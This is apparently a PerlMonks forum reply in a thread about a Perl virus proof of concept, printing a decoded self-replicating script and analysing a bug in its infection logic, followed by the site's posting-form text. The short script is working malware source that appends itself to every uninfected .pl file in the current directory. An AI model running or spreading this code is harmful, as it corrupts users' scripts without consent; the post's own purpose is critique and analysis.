Here's a "decoded" version:

$_ = q{ @oghi = <*>; files: foreach(@oghi){ if ( m^.pl^ ){ $a = $_; open(file,$a); while (<file>){ next files if m`oghi`; } close file; open(file,'>>'.$a ); open(self,$0); print file while <self>; close file; close self; } } }; eval;

I haven't run this, but it looks to me as if it has a bug. If you run it by itself, it will "infect" every .pl it finds. Say it infects a.pl. If I then run a.pl, and it gets to this code (i.e., a.pl does not die or exit or exec or something), it will try again to infect everything, but at that point, all of a.pl will be attached to the new infections (instead of just the virus code).

Note to future "virus" authors: You don't normally need to call close. Perl will do it for you. Doing this in a virus is like an armed robber saying "please" and "thank you". On the other hand, I found it funny.


In reply to Re: Simple perl virus by kyle
in thread Simple perl virus PoC by cyb3rdemon

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.